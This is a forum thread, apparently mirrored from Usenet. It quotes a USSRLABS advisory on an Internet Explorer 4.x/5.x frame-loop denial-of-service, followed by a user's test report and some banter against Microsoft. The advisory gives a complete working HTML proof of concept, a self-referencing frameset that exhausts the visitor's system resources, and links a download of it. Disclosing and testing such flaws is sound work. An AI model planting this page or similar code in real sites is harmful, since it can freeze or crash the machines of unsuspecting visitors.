| Home | Forums | Reviews | Guides | Newsgroups | Register | Search |
 |
| Thread Tools |
|
Guest
Posts: n/a
|
|
|
|
||
|
|
| |
|
Guest
Posts: n/a
|
In article <>,
says... > > Microsoft Internet Explorer 4.x 5.x - Frame Loop Vulnerability > > > Microsoft Internet Explorer 4.x > > Microsoft Internet Explorer 5.x > Frame Loop Vulnerability > > > > > PROBLEM: > > It is possible to create a malicious webpage that when visited by an IE > user all of their system resources are devoured and depending on the > system its possible that the machine can even crash and reboot itself. > > The reason you can use up all of the client's resources is by creating > an endless loop of frames. > > You create a html file that has a few frames inside it and then link > those frames back to the same html file so every time IE loads the new > frame it loads another new frame and another etc... > > Until after a short time your resources are all used up and your system > crashes. > > We understand this is somewhat of a nuisance hole but still something > that needs to be addressed. > > Example: > > -----------readme.htm------------ > <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> > <html> > <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> > <head> > <title>Ussrlabs is getting hard</title> > </head> > <frameset framespacing="2" frameborder="no" rows="65,*"> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <frame src="readme.htm" name="top" margintop="0" scrolling="no" noresize> > <noframes> > <body bgcolor="#FFFFFF"> > <p>This web page uses frames, but your browser doesn't support them.</p> > </body> > </noframes> > </frameset> > <frameset> > <noframes> > </noframes> > </frameset> > </html> > -----------readme.htm------------ > > Or if you want the html can be downloaded here. > > http://www.ussrback.com/iehole/readme.zip > > Note: It also affect Microsoft FrontPage. > > Vendor Status: > > Contacted. > > "We talked to MS and they said this is a nuisance attack and do not > think its a security hole. So you will not be getting a patch for > this(maybe). However, it is good to know that Netscape Navigator is not > affected by this hole." > > Vendor Url: http://www.microsoft.com/ > > Program Url: http://www.microsoft.com/windows/ie/default.htm > > Credit: > > USSRLABS > > SOLUTION: > > Nothing yet. > > > > > I made one of those pages (frame-loop-tester.html), placed it in my > webserver's /pub directory, and tested it against Mozilla (because I'm > not crazy enough to run IE) on my Linux box. It did try sucking up > system resources, and with top running in an x-term, the process tried > to use up about 92%, at which time Linux cut it. Nothing appeared on the > browser. > > > > thanks for another example of why IE should be ripped out of Windows and replaced with something a little less dangerous, like Lynx  go ahead folks, keep running your Fat32 and NTFS as Admin... you're doing nothing but propagating Microsoft's demise. -- Colonel Flagg http://www.internetwarzone.org/ Privacy at a click: http://www.cotse.net Q: How many Bill Gates does it take to change a lightbulb? A: None, he just defines Darkness? as the new industry standard..." "...I see stupid people." |
|
|
|
|
|||
|
|
| |
|
Guest
Posts: n/a
|
Colonel Flagg Spilled my beer when they jumped on the table and
proclaimed in <>: > thanks for another example of why IE should be ripped out of Windows > and replaced with something a little less dangerous, like Lynx > > go ahead folks, keep running your Fat32 and NTFS as Admin... you're > doing nothing but propagating Microsoft's demise. Running as Admin is the same as running in root. "If you play in root you will eventually kill the whole tree" - forget his name but he's in the c.o.l.s newsgroup... <G> NOI |
|
|
|
|
|||
|
Guest
Posts: n/a
|
|
|
|
|
||
|
Guest
Posts: n/a
|
|
|
|
|
||
|
Guest
Posts: n/a
|
|
|
|
|
||
|
|
| |
|
| Thread Tools | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| looping in array vs looping in a dic | giuseppe.amatulli@gmail.com | Python | 5 | 09-20-2012 11:58 PM |
| Refresh one frame from link in another frame? | Noozer | HTML | 0 | 10-22-2005 09:23 AM |
| Yet another book recommendation, but for someone who can program and yet does not the terminology well | Berehem | C Programming | 4 | 04-28-2005 05:25 PM |
| Referring to a frame's content from another frame | Microsoft | ASP .Net | 3 | 10-04-2004 06:35 AM |
| Manipulating control in one frame from another frame, how? | Søren M. Olesen | ASP .Net | 0 | 11-13-2003 05:37 PM |
